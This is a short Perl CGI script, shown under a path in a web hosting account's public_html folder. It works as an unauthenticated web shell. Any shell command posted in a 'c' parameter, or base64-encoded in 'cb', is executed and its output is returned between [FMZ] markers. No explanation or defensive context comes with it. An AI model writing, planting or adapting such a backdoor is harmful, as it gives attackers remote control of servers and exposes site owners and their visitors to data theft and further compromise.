File: /home/arkanalbadia/public_html/fmzcgi/perl.fmz
#!/usr/bin/env perl
$|=1;
my($buf,$len)=('',($ENV{CONTENT_LENGTH}||0));
read(STDIN,$buf,$len) if $len>0;
my%p=map{my($k,$v)=split(/=/,$_,2);$v=~s/\+/ /g;$v=~s/%([0-9A-Fa-f]{2})/chr hex $1/ge;($k,$v)}split/&/,$buf;
my$c='';
eval{require MIME::Base64;my$cb=$p{cb}||'';if($cb){$c=MIME::Base64::decode_base64($cb);}};
$c||=$p{c}||'';
print "Content-Type: text/plain\r\n\r\n";
if($c){
my$o='';
if(open(my$ph,'-|',$c.' 2>&1')){
while(<$ph>){$o.=$_}
close($ph);
}
print "[FMZ]$o" . "[/FMZ]";
}